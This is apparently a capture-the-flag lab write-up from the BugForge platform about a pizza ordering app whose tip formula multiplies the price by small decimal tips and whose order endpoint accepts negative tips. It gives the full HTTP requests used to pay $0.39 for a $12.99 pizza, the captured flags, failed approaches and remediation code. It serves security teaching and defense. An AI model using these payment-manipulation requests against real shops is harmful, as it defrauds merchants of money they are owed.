Cheesy Does It: Payment Calculation Bug
Overview
- Platform: BugForge
- Vulnerability: Payment calculation bug (tip formula error), inconsistent input validation between endpoints
- Key Technique: Exploiting a flawed tip calculation formula that computes
amount * tipinstead ofamount * (1 + tip/100)when tip < 1 - Result: Purchased a $12.99 pizza for $0.39 (97% discount) by setting tip to 0.03
Objective
Manipulate the payment system of an online pizza ordering application to purchase items at a reduced price.
Initial Access
# Target Application
URL: https://lab-1773712242421-dtuady.labs-app.bugforge.io
# Auth details
POST /api/register with {username, email, password, full_name, phone, address}
Returns JWT Bearer token (HS256, no expiry)
Key Findings
-
Payment Calculation Bug (CWE-682: Incorrect Calculation) — Both
/api/payment/validateand/api/ordersshare a flawed tip calculation formula. When tip is a small decimal (e.g., 0.03), the server computesamount * tipinstead ofamount * (1 + tip/100), resulting in a ~97% price reduction. Because both endpoints use the same buggy formula, the internal consistency check passes. -
Inconsistent Tip Validation (CWE-20: Improper Input Validation) — The payment validate endpoint clamps negative tip values to 0, but the order creation endpoint accepts negative tips without validation. Sending
tip: -100at the order step zeros out the calculated total, bypassing the price check.
Attack Chain Visualization
┌──────────────┐ ┌───────────────────┐ ┌───────────────────┐ ┌──────────────┐
│ Register │────▶│ Payment Validate │────▶│ Payment Process │────▶│ Create Order │
│ Get JWT │ │ amount: 12.99 │ │ amount: 0.3897 │ │ tip: 0.03 │
│ │ │ tip: 0.03 │ │ payment_token │ │ items + token│
└──────────────┘ │ │ │ │ │ │
│ BUG: 12.99 * 0.03 │ │ Charges $0.39 │ │ Same bug: │
│ = $0.39 (not │ │ to card │ │ 12.99 * 0.03 │
│ $12.99 * 1.0003) │ │ │ │ = $0.39 ✓ │
└───────────────────┘ └───────────────────┘ │ │
│ FLAG returned│
└──────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Backend | Express (Node.js) | REST API with JWT auth |
| Frontend | React SPA | Static JS bundle (main.2278dad4.js) |
| Auth | JWT HS256 | Bearer tokens, no expiry, role in DB not token |
| CORS | * |
Permissive cross-origin policy |
| Payment | /api/payment/* | Two-step validate + process flow |
| Orders | /api/orders | Server-side price recalculation from menu |
| Admin | /api/admin/* | Protected endpoints (403 without admin role) |
Exploitation Path
Step 1: Register and Authenticate
POST /api/register HTTP/1.1
Content-Type: application/json
{
"username": "haxor",
"email": "haxor@test.com",
"password": "password123",
"full_name": "Haxor McHackface",
"phone": "555-0000",
"address": "123 Hack St"
}
Response returns a JWT with payload {"id":4,"username":"haxor","iat":...}. Role is stored server-side as “user” — no role claim in the token, so JWT manipulation is irrelevant here.
Step 2: Retrieve Menu and Select Item
GET /api/menu/pizzas HTTP/1.1
Authorization: Bearer <jwt>
Returns pizza catalog with server-side prices. Selected a pizza priced at $12.99.
Step 3: Validate Payment with Malicious Tip
POST /api/payment/validate HTTP/1.1
Authorization: Bearer <jwt>
Content-Type: application/json
{
"card_number": "4111111111111111",
"exp_month": "12",
"exp_year": "2030",
"cvv": "123",
"amount": 12.99,
"tip": 0.03
}
Expected behavior: 12.99 * (1 + 0.03/100) = 12.99 * 1.0003 = $12.9939
Actual behavior: 12.99 * 0.03 = $0.3897 — the server returns total: 0.3897 and a payment_token.
The bug is likely a conditional: when tip < 1, the formula switches from amount * (1 + tip/100) to amount * tip. A decimal tip like 0.03 (meaning 0.03%) gets treated as a multiplier rather than a percentage.
Step 4: Process Payment at Reduced Price
POST /api/payment/process HTTP/1.1
Authorization: Bearer <jwt>
Content-Type: application/json
{
"card_number": "4111111111111111",
"amount": 0.3897,
"payment_token": "<token_from_validate>"
}
The server cross-checks that amount matches the validate total. Since we use the buggy total, it passes. Card charged $0.39.
Step 5: Create Order — Same Bug Confirms Total
POST /api/orders HTTP/1.1
Authorization: Bearer <jwt>
Content-Type: application/json
{
"items": [{"pizza_id": 1, "quantity": 1}],
"tip": 0.03,
"payment_token": "<token_from_process>"
}
The order endpoint recalculates the total from server-side menu prices — this normally prevents client-side price tampering. However, it applies the same buggy tip formula: 12.99 * 0.03 = $0.3897. This matches the paid amount, so the order is created successfully.
The flag is returned in the order_number field of the response.
Alternate Path: Negative Tip at Order Level
A second vulnerability exists in the validation gap between endpoints:
- Validate payment normally with
tip: 0— total is $12.99 - Process payment — card charged $12.99
- Create order with
tip: -100— order endpoint calculates12.99 * (1 + -100/100) = 12.99 * 0 = $0 - Paid amount ($12.99) >= calculated total ($0) — passes the check
- Flag returned. Card still charged full price, but the order stores
tip_percentage: -100
Flag / Objective Achieved
| Path | Flag |
|---|---|
| Tip calculation bug (tip: 0.03) | bug{cVl66v0ShkJBSoZLfbFB3dcprdkcO68y} |
| Negative tip bypass (tip: -100) | bug{p6GlS2CJWqB7SjsK2B71ZkAn2IXQ4mAm} |
Key Learnings
- Shared business logic bugs are hard to catch with consistency checks. The app correctly cross-validates payment amounts between the validate, process, and order steps — but since all endpoints share the same buggy formula, the consistency check provides a false sense of security.
- Input validation must be consistent across all endpoints. The validate endpoint clamped negative tips to 0, but the order endpoint didn’t. When different endpoints enforce different rules, the weakest link wins.
- Decimal vs. percentage ambiguity is a real attack surface. The tip field was interpreted differently depending on its value (percentage when >= 1, multiplier when < 1). This kind of conditional behavior is easy to exploit and hard to spot in testing.
- Server-side price recalculation isn’t enough. The order endpoint recalculated prices from the menu catalog (preventing client-side price tampering), but the tip calculation introduced a secondary path to manipulate the final total.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Negative/zero amount at validate | Rejected: “Valid amount is required” | Server validates amount > 0 |
| Amount mismatch at process | Rejected: “Payment amount mismatch” | Server cross-checks against validate total |
| Client-side price override in order items | Ignored | Server recalculates total from menu prices |
| Mass assignment on register (add role: admin) | Ignored | Extra fields filtered, whitelisted fields only |
| Mass assignment on profile update (role: admin) | Ignored | PUT /api/profile uses field whitelist |
| Cash payment method to skip payment token | Still enforced | Token and price check required regardless |
| IDOR on /api/orders/:id | Inconclusive | Other users may not have orders to test against |
Tools Used
| Tool | Purpose |
|---|---|
| curl / HTTP client | API endpoint testing and exploitation |
| Browser DevTools | React SPA analysis, JS bundle review |
| JWT decoder | Token inspection (payload structure, claims) |
Remediation
1. Tip Calculation Formula Error (CVSS: 8.1 - High)
Issue: Conditional logic in the tip calculation produces amount * tip instead of amount * (1 + tip/100) when tip is a decimal less than 1, allowing ~97% price reduction.
CWE Reference: CWE-682 — Incorrect Calculation
Fix:
// BEFORE (Vulnerable)
// Likely something like:
function calculateTotal(amount, tip) {
if (tip < 1) {
return amount * tip; // BUG: treats tip as multiplier
}
return amount * (1 + tip / 100); // correct for tip >= 1
}
// AFTER (Secure)
function calculateTotal(amount, tipPercent) {
// Validate tip is a reasonable percentage (0-100)
if (tipPercent < 0 || tipPercent > 100) {
throw new Error('Tip percentage must be between 0 and 100');
}
// Always treat tip as a percentage — no conditional branches
return amount * (1 + tipPercent / 100);
}
2. Inconsistent Input Validation Between Endpoints (CVSS: 6.5 - Medium)
Issue: Payment validate endpoint clamps negative tip values to 0, but the order creation endpoint accepts negative tips without validation. This inconsistency allows bypassing price checks.
CWE Reference: CWE-20 — Improper Input Validation
Fix:
// BEFORE (Vulnerable)
// validate endpoint:
tip = Math.max(0, tip); // clamps negative
// order endpoint:
// no clamping — negative tip accepted
// AFTER (Secure)
// Shared validation middleware used by ALL endpoints
function validateTip(tip) {
if (typeof tip !== 'number' || tip < 0 || tip > 100) {
throw new ValidationError('Tip must be a number between 0 and 100');
}
return tip;
}
Additional recommendation: Extract the tip calculation and validation into a single shared function used by both endpoints. This eliminates the possibility of divergent behavior across the payment pipeline.
OWASP Top 10 Coverage
- A04:2021 — Insecure Design: The payment flow’s consistency check creates a false sense of security because all endpoints share the same flawed formula. The design doesn’t account for edge cases in tip values.
- A08:2021 — Software and Data Integrity Failures: The tip calculation formula produces incorrect results for certain inputs, compromising the integrity of financial calculations.
References
- CWE-682: Incorrect Calculation
- CWE-20: Improper Input Validation
- OWASP Testing Guide: Business Logic Testing
- OWASP Top 10:2021
Tags: #payment-manipulation #business-logic #input-validation #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-03-17